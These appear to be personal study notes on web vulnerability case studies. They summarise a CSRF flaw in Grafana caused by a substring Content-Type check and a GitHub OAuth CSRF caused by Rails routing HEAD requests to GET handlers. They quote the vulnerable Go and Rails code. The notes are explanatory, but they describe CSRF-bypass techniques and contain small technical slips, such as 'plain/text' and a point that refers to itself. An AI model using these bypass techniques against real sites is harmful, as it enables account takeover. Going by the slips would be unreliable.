1. Traversal-resistant File APIs in Go by Damien Neil
   Link: Traversal-resistant File APIs
   How to cause path traversal and how to defend against them
   

Vulnerability Type: CSRF

Case Studies

1. Grafana CSRF

a) CSRF in Grafana

Link: CSRF in Grafana

Key points:

1. Grafana doesn’t support CORS

2. Grafana admins might set cookie_samesite to none because of point 1.

3. Safari doesn’t set SameSite to Lax unlike other browsers

4. attacker.example.com exploit CSRF on victim.example.com even with SameSite set

5. Browsers perform CORS preflight to determine CORS settings for some requests

6. A request with Content-Type: application/json is enough to trigger point 6.

ROOT CAUSE: CORS is triggered if the “essence” of the MIME type is:

• application/x-www-form-urlencoded,
• multipart/form-data, or
• text/plain

BUT, if the server checks the MIME type poorly, it can interpret text/plain; application/json as a JSON MIME type.

The poor MIME type check:

func bind(ctx *macaron.Context, obj interface{}, ifacePtr ...interface{}) {
  contentType := ctx.Req.Header.Get("Content-Type")
  if ctx.Req.Method == "POST" || ctx.Req.Method == "PUT" || len(contentType) > 0 {
    switch {
    case strings.Contains(contentType, "form-urlencoded"):
      ctx.Invoke(Form(obj, ifacePtr...))
    case strings.Contains(contentType, "multipart/form-data"):
      ctx.Invoke(MultipartForm(obj, ifacePtr...))
    case strings.Contains(contentType, "json"): // strings.Contains = BAD
      ctx.Invoke(Json(obj, ifacePtr...))
    default:
      var errors Errors
      if contentType == "" {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Empty Content-Type")
      } else {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Unsupported Content-Type")
      }
      ctx.Map(errors)
      ctx.Map(obj) // Map a fake struct so handler won't panic.
    }
  } else {
    ctx.Invoke(Form(obj, ifacePtr...))
  }
}

    This code is the main weakness because:

        1. Grafana requires application/json, browsers perform CORS preflight.

        2. CSRF can’t be performed because Grafana doesn’t respond to CORS preflight. No strict CSRF token checks.

        3. Attacker sends plain/text; application/json as Content-Type, browser interprets application/json as a parameter of the essence (application/text).

        4. When Grafana receives the Content-Type, it thinks the request is application/json.

        5. CORS preflight was not sent because browser sent plain/text, Grafana thought it received application/json because of the poor MIME type checker. CSRF was possible because the attacker website can be from the same origin (attacker.example.com grafana.example.com) or SameSite might have been set to none or the user might be using Safari. (and of course Grafana doesn’t have an anti-CSRF token)

2. GitHub CSRF

Link: https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html

CSRF in GitHub’s OAuth implementation. The problem is caused by the fact that Rails (and some other frameworks) treats HEAD requests as GET requests during routing. This means, that HEAD requests are passed to the same controller as GET requests would. Example:

# In the router

match "/login/oauth/authorize", # For every request with this path...
  :to => "[the controller]", # ...send it to the controller...
  :via => [:get, :post] # ... as long as it's a GET or a POST request. (or a HEAD request :wink:)

# In the controller

if request.get?
  # serve authorization page HTML
else
  # grant permissions to app (POST request logic)
end

This becomes a problem if the controller does not explicitly check if the incoming request is a POST request like above. Many routes are implement in a way that allows a single path in a URL to perform different actions based on the POST. This behavior is made possible with controller level checks like above.

GitHub requires POST requests to have a CSRF token to prevent CSRF attacks. This happens in a middleware I believe, it cannot be in the controller otherwise this vulnerability wouldn’t be possible. The writer doesn’t say where this check happens (edit: it’s Rails’ default CSRF protection), but when a HEAD request reaches the above controller, it gets treated as a POST request that checks the middleware that requires CSRF token in POST requests. It doesn’t bypass the authentication middleware, I think, because the GET request also requires authentication. But there is a possibility that POST requests require authentication and GET request do not. This could make it possible to even bypass authentication. (GET and HEAD requests can have a body too, and this body would get processed in the POST request logic.)

updated: Dec 24, 2025